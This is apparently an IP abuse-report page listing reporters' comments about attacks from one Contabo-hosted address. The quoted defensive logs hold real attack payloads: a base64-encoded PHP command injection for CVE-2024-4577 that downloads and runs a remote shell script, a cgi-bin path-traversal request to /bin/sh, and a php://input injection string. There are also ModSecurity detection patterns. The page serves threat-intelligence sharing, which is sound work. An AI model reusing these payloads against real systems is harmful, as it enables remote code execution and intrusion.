JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

164.68.125.168

Neutral Activity

Abuse confidence score ?

0% Low Risk

93 reports

64 reporters · latest 4 months ago

ISP	Contabo GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS51167
Hostname(s)	vmd197281.contaboserver.net
Domain Name	contabo.com
Country	🇫🇷 France
City	Lauterbourg, Grand Est

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

No reports in the last 60 days

164.68.125.168 has been reported 93 times. The most recent report is from 4 months ago.

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

IP Abuse Reports for 164.68.125.168

This IP address has been reported a total of 93 times from 64 distinct sources. 164.68.125.168 was first reported on February 18th 2026, and the most recent report was 4 months ago.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇮🇳 evicky2002	2026-04-30 13:04:10 (4 months ago)	Confirmed malicious by STILWaters CTI platform (score=100, sources=1)	Hacking Brute-Force SSH
🇧🇷 SOC-BR	2026-04-05 07:21:24 (5 months ago)	Attack detected by Fortinet - apache: Apache.HTTP.Server.cgi-bin.Path.Traversal - 2026-04-04 10:12:4 ... show more Attack detected by Fortinet - apache: Apache.HTTP.Server.cgi-bin.Path.Traversal - 2026-04-04 10:12:42 - Source Port 57722 show less	Port Scan Hacking
🇺🇸 gu-alvareza	2026-04-05 07:05:19 (5 months ago)	Apache.HTTP.Server.cgi-bin.Path.Traversal	Web App Attack Hacking
🇫🇷 service Informatique	2026-04-05 04:00:37 (5 months ago)	/cgi-bin	Web App Attack
🇺🇸 TPI-Abuse	2026-04-05 01:35:28 (5 months ago)	(mod_security) mod_security (id:218420) triggered by 164.68.125.168 (vmi3187793.contaboserver.net): ... show more (mod_security) mod_security (id:218420) triggered by 164.68.125.168 (vmi3187793.contaboserver.net): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Apr 04 21:35:21.393705 2026] [security2:error] [pid 7793:tid 7793] [client 164.68.125.168:55394] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in\|out\|err)\|(in\|out)put\|fd\|memory\|temp\|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found\|\|192.64.150.190:80\|F\|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "192.64.150.190"] [uri "/hello.world"] [unique_id "adG8WXKWnRNE6ckkA84kvwAAABA"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 anon333	2026-04-05 01:33:43 (5 months ago)	Hacker syslog review 1775352823	Hacking
🇨🇭 SOC [GOLINE SA]	2026-04-05 01:23:56 (5 months ago)	FortiGate detected IPS attack from IPv4 address 164.68.125.168	Hacking
🇺🇸 bigscoots.com	2026-04-05 01:15:21 (5 months ago)	(sshd) Failed SSH login from 164.68.125.168 (DE/Germany/vmi3187793.contaboserver.net): 5 in the last ... show more (sshd) Failed SSH login from 164.68.125.168 (DE/Germany/vmi3187793.contaboserver.net): 5 in the last 3600 secs; Ports: *; Direction: 1; Trigger: LF_SSHD; Logs: Apr 4 20:13:10 15066 sshd[18537]: Invalid user admin from 164.68.125.168 port 40344 Apr 4 20:13:12 15066 sshd[18537]: Failed password for invalid user admin from 164.68.125.168 port 40344 ssh2 Apr 4 20:13:44 15066 sshd[18550]: Invalid user orangepi from 164.68.125.168 port 44010 Apr 4 20:13:46 15066 sshd[18550]: Failed password for invalid user orangepi from 164.68.125.168 port 44010 ssh2 Apr 4 20:15:04 15066 sshd[18618]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=164.68.125.168 user=root show less	Brute-Force SSH
🇨🇳 ThreatBook.io	2026-04-05 01:06:06 (5 months ago)	ThreatBook Intelligence: Edu,Zombie more details on https://threatbook.io/ip/164.68.125.168	SSH
🇬🇧 www.elivecd.org	2026-04-05 01:02:43 (5 months ago)	164.68.125.168 - - [05/Apr/2026:02:02:42 +0100] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.% ... show more 164.68.125.168 - - [05/Apr/2026:02:02:42 +0100] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 150 "-" "-" ... show less	DDoS Attack
Anonymous	2026-04-05 00:28:09 (5 months ago)	Multiple web server 400 error codes from same source ip	Web App Attack
🇦🇱 router.al	2026-04-05 00:13:12 (5 months ago)	04/05/2026-00:13:12.312021 164.68.125.168 Protocol: 6 ET WEB_SERVER /bin/sh In URI Possible Shell Co ... show more 04/05/2026-00:13:12.312021 164.68.125.168 Protocol: 6 ET WEB_SERVER /bin/sh In URI Possible Shell Command Execution Attempt show less	Hacking
🇩🇪 Hary74656	2026-04-05 00:12:47 (5 months ago)	[Sun Apr 05 02:12:38.314703 2026] [security2:error] [pid 343903:tid 343982] [client 164.68.125.168:3 ... show more [Sun Apr 05 02:12:38.314703 2026] [security2:error] [pid 343903:tid 343982] [client 164.68.125.168:39430] [client 164.68.125.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:;\|\\\\{\|\\\\\|\|\\\\\|\\\\\|\|&\|&&\|\\\\n\|\\\\r\|`)\\\\s[\\\\(,@\\\\'\\"\\\\s](?:[\\\\w'\\"\\\\./]+/\|[\\\\\\\\'\\"\\\\^]\\\\w[\\\\\\\\'\\"\\\\^]:.\\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]\\\\\\\\)?[\\"\\\\^](?:m[\\"\\\\^](?:y[\\"\\\\^]s[\\"\\\\^]q[\\"\\\\^]l(?:[\\"\\\\^](?:d[\\"\\\\^]u[\\"\\\\^]m[\\"\\\\^]p(?:[\\"\\\\^]s[\\"\\\\^ ..." at ARGS_NAMES:<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vNDYuMTUxLjE4Mi44Mi9zaCB8fCBjdXJsIC1zayBodHRwczovLzQ2LjE1MS4xODIuODIvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw")); echo(md5("Hello CVE-2024-4577")); ?>. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; ec ... show less	Web App Attack
🇺🇸 MPL	2026-04-04 23:48:00 (5 months ago)	tcp/23 (2 or more attempts)	Port Scan
🇺🇸 anon333	2026-04-04 23:27:33 (5 months ago)	Cowrie Honeypot: 5 unauthorised SSH/Telnet login attempts between 2026-04-04T23:25:15Z and 2026-04-0 ... show more Cowrie Honeypot: 5 unauthorised SSH/Telnet login attempts between 2026-04-04T23:25:15Z and 2026-04-04T23:27:33Z show less	Brute-Force SSH

Showing 1 to 15 of 93 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇬🇧 213.166.84.37

🇪🇪 95.85.245.227

🇩🇪 92.5.155.195

🇺🇸 71.6.238.154

🇦🇿 212.47.139.204

🇺🇸 209.50.173.37

🇷🇼 197.243.14.52

🇬🇧 193.8.186.31

🇨🇴 181.51.105.128

🇨🇳 115.49.198.11

🇳🇱 109.160.32.115

🇸🇬 43.156.71.43

🇵🇪 38.199.4.155

🇰🇷 222.108.100.117

🇰🇪 197.237.33.199

🇧🇷 181.233.93.212

🇧🇷 177.215.97.194

🇧🇷 177.10.197.239

🇧🇳 119.160.166.237

🇹🇼 111.70.32.210